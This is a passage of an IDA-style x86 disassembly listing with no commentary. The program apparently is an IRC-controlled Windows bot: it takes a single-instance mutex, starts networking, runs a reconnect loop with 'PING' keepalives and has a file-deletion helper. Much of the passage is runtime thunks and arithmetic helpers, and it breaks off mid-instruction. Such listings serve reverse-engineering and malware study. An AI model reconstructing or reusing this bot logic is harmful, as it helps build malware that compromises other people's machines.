retn 4 sub_415F69 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41665C proc near ; CODE XREF: sub_40A9CF+9FEp var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch push 3ABh call sub_416B46 ; malloc pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_41667B jmp locret_41670F ; --------------------------------------------------------------------------- loc_41667B: ; CODE XREF: sub_41665C+18j cmp [ebp+arg_4], 0 jz short loc_41668F push [ebp+arg_4] call sub_416B9C ; atoi pop ecx mov [ebp+var_8], eax jmp short loc_416696 ; --------------------------------------------------------------------------- loc_41668F: ; CODE XREF: sub_41665C+23j mov [ebp+var_8], 3 loc_416696: ; CODE XREF: sub_41665C+31j mov eax, [ebp+var_4] mov ecx, [ebp+var_8] mov [eax+4], ecx cmp [ebp+arg_8], 0 jz short loc_4166AD mov eax, [ebp+arg_8] mov [ebp+var_C], eax jmp short loc_4166B4 ; --------------------------------------------------------------------------- loc_4166AD: ; CODE XREF: sub_41665C+47j mov [ebp+var_C], offset byte_41DE00 loc_4166B4: ; CODE XREF: sub_41665C+4Fj push 200h push [ebp+var_C] mov eax, [ebp+var_4] add eax, 8 push eax call sub_407A56 add esp, 0Ch push 1A3h push [ebp+arg_0] mov eax, [ebp+var_4] add eax, 208h push eax call sub_416B52 ; memcpy add esp, 0Ch mov eax, [ebp+var_4] push dword ptr [eax+4] push offset dword_41D9E8 mov eax, [ebp+arg_0] movsx eax, byte ptr [eax+18Bh] neg eax sbb eax, eax inc eax push eax push [ebp+var_4] push offset sub_415F69 call sub_4095A4 add esp, 14h locret_41670F: ; CODE XREF: sub_41665C+1Aj leave retn sub_41665C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416711 proc near ; CODE XREF: sub_4167B9+6p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push offset aRb ; "rb" push [ebp+arg_0] call sub_416B88 ; fopen pop ecx pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_41673B push [ebp+var_4] call sub_416B82 ; fclose pop ecx push 1 pop eax jmp short locret_41673D ; --------------------------------------------------------------------------- loc_41673B: ; CODE XREF: sub_416711+1Aj xor eax, eax locret_41673D: ; CODE XREF: sub_416711+28j leave retn sub_416711 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41673F proc near ; CODE XREF: sub_40A9CF+C23p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ecx push offset aRb ; "rb" push [ebp+arg_0] call sub_416B88 ; fopen pop ecx pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_41679C push 2 push 0 push [ebp+var_4] call sub_416B96 ; fseek add esp, 0Ch push [ebp+var_4] call sub_416B76 ; ftell pop ecx mov [ebp+var_8], eax push 0 push 0 push [ebp+var_4] call sub_416B96 ; fseek add esp, 0Ch push [ebp+var_4] call sub_416B82 ; fclose pop ecx mov eax, [ebp+var_8] inc eax neg eax sbb eax, eax and eax, [ebp+var_8] jmp short locret_41679E ; --------------------------------------------------------------------------- loc_41679C: ; CODE XREF: sub_41673F+1Bj xor eax, eax locret_41679E: ; CODE XREF: sub_41673F+5Bj leave retn sub_41673F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4167A0 proc near ; CODE XREF: sub_4167B9+13p arg_0 = dword ptr 8 push ebp mov ebp, esp push [ebp+arg_0] call dword_4170AC ; DeleteFileA test eax, eax jz short loc_4167B5 push 1 pop eax jmp short loc_4167B7 ; --------------------------------------------------------------------------- loc_4167B5: ; CODE XREF: sub_4167A0+Ej xor eax, eax loc_4167B7: ; CODE XREF: sub_4167A0+13j pop ebp retn sub_4167A0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4167B9 proc near ; CODE XREF: sub_402698+1D9p arg_0 = dword ptr 8 push ebp mov ebp, esp push [ebp+arg_0] call sub_416711 pop ecx test eax, eax jz short loc_4167D9 push [ebp+arg_0] call sub_4167A0 pop ecx neg eax sbb eax, eax inc eax jmp short loc_4167DB ; --------------------------------------------------------------------------- loc_4167D9: ; CODE XREF: sub_4167B9+Ej xor eax, eax loc_4167DB: ; CODE XREF: sub_4167B9+1Ej pop ebp retn sub_4167B9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4167DD proc near ; CODE XREF: sub_40A9CF+8E9p var_4 = dword ptr -4 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_4] push dword ptr [eax] call sub_40ED38 pop ecx mov [ebp+var_4], eax leave retn sub_4167DD endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_417298 push offset sub_416DBA mov eax, large fs:0 push eax mov large fs:0, esp push ecx push ecx mov eax, 12DCh call sub_416BC0 push ebx push esi push edi mov [ebp-18h], esp push 2 call dword_4170F4 ; SetErrorMode and dword ptr [ebp-4], 0 push dword_41DA2C push dword_41DA28 push 3B7h push dword_41DA24 push 0 push dword_41DA20 push offset a08xX08x3x08x08 ; "%08x%x%08x%3x%08x%08x" lea eax, [ebp-115Ch] push eax call sub_416B5E ; sprintf add esp, 20h and dword ptr [ebp-1128h], 0 jmp short loc_416875 ; --------------------------------------------------------------------------- loc_416868: ; CODE XREF: .data:loc_4168BAj mov eax, [ebp-1128h] inc eax mov [ebp-1128h], eax loc_416875: ; CODE XREF: .data:00416866j cmp dword ptr [ebp-1128h], 0Ah jnz short loc_416883 call sub_407148 loc_416883: ; CODE XREF: .data:0041687Cj push 3E8h call dword_41709C ; Sleep lea eax, [ebp-115Ch] push eax push 0 push 0 call dword_4170F8 ; CreateMutexA mov [ebp-12F0h], eax cmp dword ptr [ebp-12F0h], 0 jz short loc_4168BA call dword_417064 ; RtlGetLastWin32Error test eax, eax jnz short loc_4168BA jmp short loc_4168BC ; --------------------------------------------------------------------------- loc_4168BA: ; CODE XREF: .data:004168ACj ; .data:004168B6j jmp short loc_416868 ; --------------------------------------------------------------------------- loc_4168BC: ; CODE XREF: .data:004168B8j call sub_403BD3 call sub_405FA3 call sub_40938F call sub_412FC6 call sub_4102AE call sub_40E979 push 10h push offset dword_41DA20 call sub_41055F pop ecx pop ecx push 10h push offset dword_41DA20 call sub_40ECEB pop ecx pop ecx push 10h push offset dword_41DA20 call sub_40ED6E pop ecx pop ecx call sub_410422 mov dword_41EC00, eax call sub_410422 mov dword_41EC04, eax call sub_410422 mov dword_41EC08, eax call sub_410422 mov dword_41EC0C, eax push 104h lea eax, [ebp-1120h] push eax push 0 call dword_41708C ; GetModuleHandleA push eax call dword_417090 ; GetModuleFileNameA test eax, eax jnz short loc_416961 push offset byte_41DE00 push offset dword_41EAFC call sub_416B3A ; _mbscpy pop ecx pop ecx jmp loc_4169E1 ; --------------------------------------------------------------------------- loc_416961: ; CODE XREF: .data:00416949j lea eax, [ebp-1120h] push eax call sub_416B40 ; strlen pop ecx mov [ebp-12F4h], eax jmp short loc_416983 ; --------------------------------------------------------------------------- loc_416976: ; CODE XREF: .data:loc_4169DFj mov eax, [ebp-12F4h] dec eax mov [ebp-12F4h], eax loc_416983: ; CODE XREF: .data:00416974j cmp dword ptr [ebp-12F4h], 0 jnz short loc_41699F push offset byte_41DE00 push offset dword_41EAFC call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_4169E1 ; --------------------------------------------------------------------------- loc_41699F: ; CODE XREF: .data:0041698Aj mov eax, [ebp-12F4h] movsx eax, byte ptr [ebp+eax-1121h] cmp eax, 5Ch jnz short loc_4169DF mov eax, [ebp-12F4h] lea eax, [ebp+eax-1120h] push eax push offset dword_41EAFC call sub_416B3A ; _mbscpy pop ecx pop ecx push offset dword_41EAFC push offset dword_41EC10 call sub_416B3A ; _mbscpy pop ecx pop ecx jmp short loc_4169E1 ; --------------------------------------------------------------------------- loc_4169DF: ; CODE XREF: .data:004169B0j jmp short loc_416976 ; --------------------------------------------------------------------------- loc_4169E1: ; CODE XREF: .data:0041695Cj ; .data:0041699Dj ... call sub_406E8E lea eax, [ebp-12ECh] push eax push 202h call dword_417264 ; WSAStartup loc_4169F8: ; CODE XREF: .data:00416A43j ; .data:00416AA7j push 0 push 0 push 0 call sub_40D366 add esp, 0Ch call sub_409226 and dword ptr [ebp-1124h], 0 and dword ptr [ebp-101Ch], 0 loc_416A19: ; CODE XREF: .data:00416AE2j mov dword ptr [ebp-4], 1 loc_416A20: ; CODE XREF: .data:loc_416A6Fj ; .data:00416AC0j push 0EA60h call sub_40CF25 push eax call sub_40546E pop ecx pop ecx test eax, eax jnz short loc_416A71 cmp dword ptr [ebp-101Ch], 19h jnz short loc_416A45 and dword ptr [ebp-4], 0 jmp short loc_4169F8 ; --------------------------------------------------------------------------- loc_416A45: ; CODE XREF: .data:00416A3Dj cmp dword ptr [ebp-101Ch], 14h jnz short loc_416A62 call sub_410422 push eax push offset aPing08x ; "PING :%08X" call sub_40D6CB pop ecx pop ecx jmp short loc_416A6F ; --------------------------------------------------------------------------- loc_416A62: ; CODE XREF: .data:00416A4Cj mov eax, [ebp-101Ch] inc eax mov [ebp-101Ch], eax loc_416A6F: ; CODE XREF: .data:00416A60j jmp short loc_416A20 ; --------------------------------------------------------------------------- loc_416A71: ; CODE XREF: .data:00416A34j push 1000h lea eax, [ebp-1018h] push eax call sub_40CF25 push eax call sub_4053DC add esp, 0Ch mov [ebp-1124h], eax cmp dword ptr [ebp-1124h], 0 jz short loc_416AA3 cmp dword ptr [ebp-1124h], 0FFFFFFFFh jnz short loc_416AAC loc_416AA3: ; CODE XREF: .data:00416A98j and dword ptr [ebp-4], 0 jmp loc_4169F8 ; --------------------------------------------------------------------------- loc_416AAC: ; CODE XREF: .data:00416AA1j and dword ptr [ebp-101Ch], 0 lea eax, [ebp-1018h] push eax call sub_40E943 pop ecx jmp loc_416A20 ; --------------------------------------------------------------------------- loc_416AC5: ; DATA XREF: .data:004172A8o push offset aLoop ; "loop" push offset aMain ; "main" push dword ptr [ebp-14h] call sub_40332B add esp, 0Ch retn ; --------------------------------------------------------------------------- loc_416ADB: ; DATA XREF: .data:004172ACo mov esp, [ebp-18h] and dword ptr [ebp-4], 0 jmp loc_416A19 ; --------------------------------------------------------------------------- push offset aEntry ; "entry" push offset aMain ; "main" push dword ptr [ebp-14h] call sub_40332B add esp, 0Ch retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] or dword ptr [ebp-4], 0FFFFFFFFh cmp dword_41DE08, 0 jz short loc_416B1E push offset dword_41DD20 push offset dword_41DA80 call sub_40D4AB pop ecx pop ecx loc_416B1E: ; CODE XREF: .data:00416B0Bj call dword_417254 ; WSACleanup push 0 call sub_416BFC ; exit mov ecx, [ebp-10h] mov large fs:0, ecx pop edi pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B3A proc near ; CODE XREF: sub_401000+3Cp ; sub_4020C2+62p ... jmp dword_41712C sub_416B3A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B40 proc near ; CODE XREF: sub_401146+7Ap ; sub_4017AA+Ep ... jmp dword_4171BC sub_416B40 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B46 proc near ; CODE XREF: sub_401244+85p ; sub_4017AA+22p ... jmp dword_4171B8 sub_416B46 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B4C proc near ; CODE XREF: sub_401244+25p ; sub_401244+4DEp ... jmp dword_4171B4 sub_416B4C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B52 proc near ; CODE XREF: sub_401244+1Ap ; sub_401981+18p ... jmp dword_4171B0 sub_416B52 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B58 proc near ; CODE XREF: sub_4017AA+5Ap ; sub_4024F3+88p ... jmp dword_4171AC sub_416B58 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B5E proc near ; CODE XREF: sub_4018AF+9Fp ; sub_4055E5+231p ... jmp dword_4171A8 sub_416B5E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B64 proc near ; CODE XREF: sub_4018AF+3Bp ; sub_4018AF+5Dp ... jmp dword_4171A4 sub_416B64 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B6A proc near ; CODE XREF: sub_401981+145p ; sub_401981+158p ... jmp dword_4171A0 sub_416B6A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B70 proc near ; CODE XREF: sub_401D6E+A5p ; sub_403260+4Cp ... jmp dword_41719C sub_416B70 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B76 proc near ; CODE XREF: sub_401E38+1ABp ; sub_4020C2+1A6p ... jmp dword_417198 sub_416B76 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B7C proc near ; CODE XREF: sub_401E38+179p ; sub_402698+24Cp ... jmp dword_417194 sub_416B7C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B82 proc near ; CODE XREF: sub_401E38+9Dp ; sub_401E38+262p ... jmp dword_417190 sub_416B82 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B88 proc near ; CODE XREF: sub_401E38+42p ; sub_4020C2+159p ... jmp dword_41718C sub_416B88 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B90 proc near ; CODE XREF: sub_4020C2+2C1p ; sub_41102F+94p ... jmp dword_417188 sub_416B90 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B96 proc near ; CODE XREF: sub_4020C2+198p ; sub_4020C2+1BCp ... jmp dword_417184 sub_416B96 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416B9C proc near ; CODE XREF: sub_4024F3+26p ; sub_4024F3+46p ... jmp dword_417180 sub_416B9C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416BA2 proc near ; CODE XREF: sub_402698+160p ; sub_40CA29+F6p ... jmp dword_41717C sub_416BA2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416BA8 proc near ; CODE XREF: sub_402698+CCp ; sub_402698+110p ... jmp dword_417178 sub_416BA8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416BAE proc near ; CODE XREF: sub_402698+4Bp ; sub_4083AD+3DFp ... jmp dword_417174 sub_416BAE endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_416BC0 proc near ; CODE XREF: sub_403DF3+8p ; sub_40546E+8p ... arg_0 = byte ptr 4 push ecx cmp eax, 1000h lea ecx, [esp+4+arg_0] jb short loc_416BE0 loc_416BCC: ; CODE XREF: sub_416BC0+1Ej sub ecx, 1000h sub eax, 1000h test [ecx], eax cmp eax, 1000h jnb short loc_416BCC loc_416BE0: ; CODE XREF: sub_416BC0+Aj sub ecx, eax mov eax, esp test [ecx], eax mov esp, ecx mov ecx, [eax] mov eax, [eax+4] push eax retn sub_416BC0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416BF0 proc near ; CODE XREF: sub_4041B7+Dp ; sub_4041B7+28p ... jmp dword_417170 sub_416BF0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416BF6 proc near ; CODE XREF: sub_406041+67p jmp dword_41716C sub_416BF6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416BFC proc near ; CODE XREF: sub_406E8E+2B3p ; .data:00416B26p jmp dword_417168 sub_416BFC endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_416C10 proc near ; CODE XREF: sub_40821B+61p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx mov eax, [esp+4+arg_C] or eax, eax jnz short loc_416C31 mov ecx, [esp+4+arg_8] mov eax, [esp+4+arg_4] xor edx, edx div ecx mov eax, [esp+4+arg_0] div ecx mov eax, edx xor edx, edx jmp short loc_416C81 ; --------------------------------------------------------------------------- loc_416C31: ; CODE XREF: sub_416C10+7j mov ecx, eax mov ebx, [esp+4+arg_8] mov edx, [esp+4+arg_4] mov eax, [esp+4+arg_0] loc_416C3F: ; CODE XREF: sub_416C10+39j shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_416C3F div ebx mov ecx, eax mul [esp+4+arg_C] xchg eax, ecx mul [esp+4+arg_8] add edx, ecx jb short loc_416C6A cmp edx, [esp+4+arg_4] ja short loc_416C6A jb short loc_416C72 cmp eax, [esp+4+arg_0] jbe short loc_416C72 loc_416C6A: ; CODE XREF: sub_416C10+4Aj ; sub_416C10+50j sub eax, [esp+4+arg_8] sbb edx, [esp+4+arg_C] loc_416C72: ; CODE XREF: sub_416C10+52j ; sub_416C10+58j sub eax, [esp+4+arg_0] sbb edx, [esp+4+arg_4] neg edx neg eax sbb edx, 0 loc_416C81: ; CODE XREF: sub_416C10+1Fj pop ebx retn 10h sub_416C10 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_416C90 proc near ; CODE XREF: sub_40821B+30p ; sub_40821B+3Bp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi mov eax, [esp+8+arg_C] or eax, eax jnz short loc_416CB2 mov ecx, [esp+8+arg_8] mov eax, [esp+8+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+8+arg_0] div ecx mov edx, ebx jmp short loc_416CF3 ; --------------------------------------------------------------------------- loc_416CB2: ; CODE XREF: sub_416C90+8j mov ecx, eax mov ebx, [esp+8+arg_8] mov edx, [esp+8+arg_4] mov eax, [esp+8+arg_0] loc_416CC0: ; CODE XREF: sub_416C90+3Aj shr ecx, 1 rcr ebx, 1 shr edx, 1 rcr eax, 1 or ecx, ecx jnz short loc_416CC0 div ebx mov esi, eax mul [esp+8+arg_C] mov ecx, eax mov eax, [esp+8+arg_8] mul esi add edx, ecx jb short loc_416CEE cmp edx, [esp+8+arg_4] ja short loc_416CEE jb short loc_416CEF cmp eax, [esp+8+arg_0] jbe short loc_416CEF loc_416CEE: ; CODE XREF: sub_416C90+4Ej ; sub_416C90+54j dec esi loc_416CEF: ; CODE XREF: sub_416C90+56j ; sub_416C90+5Cj xor edx, edx mov eax, esi loc_416CF3: ; CODE XREF: sub_416C90+20j pop esi pop ebx retn 10h sub_416C90 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416CF8 proc near ; CODE XREF: sub_4088FC+1FAp ; sub_409226+5Cp ... jmp dword_417164 sub_416CF8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416CFE proc near ; CODE XREF: sub_409226+55p ; sub_4092A4+55p ... jmp dword_417160 sub_416CFE endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_416D10 proc near ; CODE XREF: sub_409226+42p ; sub_4092A4+42p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push edi push esi push ebx xor edi, edi mov eax, [esp+0Ch+arg_4] or eax, eax jge short loc_416D31 inc edi mov edx, [esp+0Ch+arg_0] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_4], eax mov [esp+0Ch+arg_0], edx loc_416D31: ; CODE XREF: sub_416D10+Bj mov eax, [esp+0Ch+arg_C] or eax, eax jge short loc_416D4D inc edi mov edx, [esp+0Ch+arg_8] neg eax neg edx sbb eax, 0 mov [esp+0Ch+arg_C], eax mov [esp+0Ch+arg_8], edx loc_416D4D: ; CODE XREF: sub_416D10+27j or eax, eax jnz short loc_416D69 mov ecx, [esp+0Ch+arg_8] mov eax, [esp+0Ch+arg_4] xor edx, edx div ecx mov ebx, eax mov eax, [esp+0Ch+arg_0] div ecx mov edx, ebx jmp short loc_416DAA ; --------------------------------------------------------------------------- loc_416D69: ; CODE XREF: sub_416D10+3Fj mov ebx, eax mov ecx, [esp+0Ch+arg_8] mov edx, [esp+0Ch+arg_4] mov eax, [esp+0Ch+arg_0] loc_416D77: ; CODE XREF: sub_416D10+71j shr ebx, 1 rcr ecx, 1 shr edx, 1 rcr eax, 1 or ebx, ebx jnz short loc_416D77 div ecx mov esi, eax mul [esp+0Ch+arg_C] mov ecx, eax mov eax, [esp+0Ch+arg_8] mul esi add edx, ecx jb short loc_416DA5 cmp edx, [esp+0Ch+arg_4] ja short loc_416DA5 jb short loc_416DA6 cmp eax, [esp+0Ch+arg_0] jbe short loc_416DA6 loc_416DA5: ; CODE XREF: sub_416D10+85j ; sub_416D10+8Bj dec esi loc_416DA6: ; CODE XREF: sub_416D10+8Dj ; sub_416D10+93j xor edx, edx mov eax, esi loc_416DAA: ; CODE XREF: sub_416D10+57j dec edi jnz short loc_416DB4 neg edx neg eax sbb edx, 0 loc_416DB4: ; CODE XREF: sub_416D10+9Bj pop ebx pop esi pop edi retn 10h sub_416D10 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416DBA proc near ; DATA XREF: sub_4093B6+Ao ; sub_4094E6+Ao ... jmp dword_41715C sub_416DBA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416DC0 proc near ; CODE XREF: sub_409479+41p ; sub_4095A4+162p jmp dword_417158 sub_416DC0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416DC6 proc near ; CODE XREF: sub_4095A4+11Bp jmp dword_417154 sub_416DC6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416DCC proc near ; CODE XREF: sub_409CB1+105p ; sub_409CB1+114p ... jmp dword_417150 sub_416DCC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416DD2 proc near ; CODE XREF: sub_409CB1+42p ; sub_409CB1+88p jmp dword_41714C sub_416DD2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416DD8 proc near ; CODE XREF: sub_409CB1+1Ap ; sub_409DD0+13Bp jmp dword_417148 sub_416DD8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416DDE proc near ; CODE XREF: sub_40A2D2+13Ep ; sub_40A9CF+1F6p ... jmp dword_417144 sub_416DDE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416DE4 proc near ; CODE XREF: sub_40A8AD+90p jmp dword_417140 sub_416DE4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416DEA proc near ; CODE XREF: sub_40A9CF+185Cp jmp dword_41713C sub_416DEA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416DF0 proc near ; CODE XREF: sub_40D420+47p ; sub_40D4AB+50p ... jmp dword_417138 sub_416DF0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416DF6 proc near ; CODE XREF: sub_40EF59+6Bp ; sub_40EF59+C1p jmp dword_417134 sub_416DF6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416DFC proc near ; CODE XREF: sub_40F040+52p ; sub_40F040+A8p jmp dword_417130 sub_416DFC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416E02 proc near ; CODE XREF: sub_40F040+1Ep jmp dword_417128 sub_416E02 endp ; --------------------------------------------------------------------------- loc_416E08: ; CODE XREF: .data:00416FE2j jmp dword_417124 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_416E10 proc near ; CODE XREF: sub_414EF4+5p push 0FFFFFFFFh push eax mov eax, large fs:0 push eax mov eax, [esp+0Ch] mov large fs:0, esp mov [esp+0Ch], ebp lea ebp, [esp+0Ch] push eax retn sub_416E10 endp ; sp-analysis failed ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416E30 proc near ; CODE XREF: sub_4048EF+4Ep ; sub_4048EF+2CFp ... jmp dword_4171F8 sub_416E30 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_416E40 proc near ; CODE XREF: sub_414EF4+EAp ; sub_414EF4+1E2p ... arg_0 = dword ptr 4 push 0 push [esp+4+arg_0] call sub_416EAF retn 4 sub_416E40 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416E4E proc near ; CODE XREF: sub_414EF4+134p ; sub_414EF4+2D8p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx mov eax, [ebp+arg_4] and [ebp+var_4], 0 test eax, eax jz short loc_416EA0 mov ecx, [eax] lea edx, [ebp+arg_4] push edx push offset dword_41DDA0 push eax call dword ptr [ecx] test eax, eax jl short loc_416EA0 mov eax, [ebp+arg_4] push esi push [ebp+arg_8] mov ecx, [eax] push eax call dword ptr [ecx+0Ch] mov esi, eax mov eax, [ebp+arg_4] push eax mov ecx, [eax] call dword ptr [ecx+8] test esi, esi pop esi jnz short loc_416EA0 lea eax, [ebp+var_4] push eax push 0 call dword_4171C8 test eax, eax jz short loc_416EA0 and [ebp+var_4], 0 loc_416EA0: ; CODE XREF: sub_416E4E+Dj ; sub_416E4E+1Fj ... push [ebp+var_4] push [ebp+arg_0] call sub_416EAF leave retn 0Ch sub_416E4E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_416EAF proc near ; CODE XREF: sub_416E40+6p ; sub_416E4E+58p var_10 = byte ptr -10h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push 0 lea ecx, [ebp+var_10] push [ebp+arg_4] push [ebp+arg_0] call sub_416ED3 lea eax, [ebp+var_10] push offset dword_4173B8 push eax call sub_416FA2 ; _CxxThrowException sub_416EAF endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_416ED3 proc near ; CODE XREF: sub_416EAF+11p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = byte ptr 0Ch mov eax, [esp+arg_0] push esi mov esi, ecx and dword ptr [esi+0Ch], 0 mov [esi+4], eax mov eax, [esp+4+arg_4] mov dword ptr [esi], offset off_4172B4 test eax, eax mov [esi+8], eax jz short loc_416EFF cmp [esp+4+arg_8], 0 jz short loc_416EFF mov ecx, [eax] push eax call dword ptr [ecx+4] loc_416EFF: ; CODE XREF: sub_416ED3+1Dj ; sub_416ED3+24j mov eax, esi pop esi retn 0Ch sub_416ED3 endp ; =============== S U B R O U T I N E ======================================= sub_416F05 proc near ; DATA XREF: .data:off_4172B4o arg_0 = byte ptr 4 push esi mov esi, ecx call sub_416F4E test [esp+4+arg_0], 1 jz short loc_416F1B push esi call sub_416DCC pop ecx loc_416F1B: ; CODE XREF: sub_416F05+Dj mov eax, esi pop esi retn 4 sub_416F05 endp ; --------------------------------------------------------------------------- mov eax, [esp+4] push esi mov esi, ecx mov ecx, [eax+4] mov [esi+4], ecx mov eax, [eax+8] and dword ptr [esi+0Ch], 0 mov [esi+8], eax test eax, eax mov dword ptr [esi], offset off_4172B4 jz short loc_416F48 mov ecx, [eax] push eax call dword ptr [ecx+4] loc_416F48: ; CODE XREF: .data:00416F40j mov eax, esi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= sub_416F4E proc near ; CODE XREF: sub_416F05+3p ; DATA XREF: .data:004173BCo push esi mov esi, ecx mov eax, [esi+8] mov dword ptr [esi], offset off_4172B4 test eax, eax jz short loc_416F64 mov ecx, [eax] push eax call dword ptr [ecx+8] loc_416F64: ; CODE XREF: sub_416F4E+Ej mov esi, [esi+0Ch] test esi, esi jz short loc_416F72 push esi call dword_4170B0 ; LocalFree loc_416F72: ; CODE XREF: sub_416F4E+1Bj pop esi retn sub_416F4E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416F74 proc near ; CODE XREF: sub_401244+120p ; sub_406E8E+DAp ... jmp dword_4171C0 sub_416F74 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416F7A proc near ; CODE XREF: sub_4020C2+113p ; sub_4038BA+22Fp ... jmp dword_417114 sub_416F7A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416F80 proc near ; CODE XREF: sub_402A32+CCp ; sub_402A32+2B9p ... jmp dword_417118 sub_416F80 endp ; =============== S U B R O U T I N E ======================================= sub_416F86 proc near ; DATA XREF: .data:off_4172BCo arg_0 = byte ptr 4 push esi mov esi, ecx call sub_416FA8 test [esp+4+arg_0], 1 jz short loc_416F9C push esi call sub_416DCC pop ecx loc_416F9C: ; CODE XREF: sub_416F86+Dj mov eax, esi pop esi retn 4 sub_416F86 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416FA2 proc near ; CODE XREF: sub_416EAF+1Fp jmp dword_41711C sub_416FA2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_416FA8 proc near ; CODE XREF: sub_416F86+3p jmp dword_417120 sub_416FA8 endp ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp-0A00h] call sub_415B3F retn ; --------------------------------------------------------------------------- loc_416FBC: ; DATA XREF: .data:0041737Co lea ecx, [ebp-10h] call sub_415B3F retn ; --------------------------------------------------------------------------- lea ecx, [ebp-0DF8h] call sub_415B3F retn ; --------------------------------------------------------------------------- lea ecx, [ebp-0E14h] call 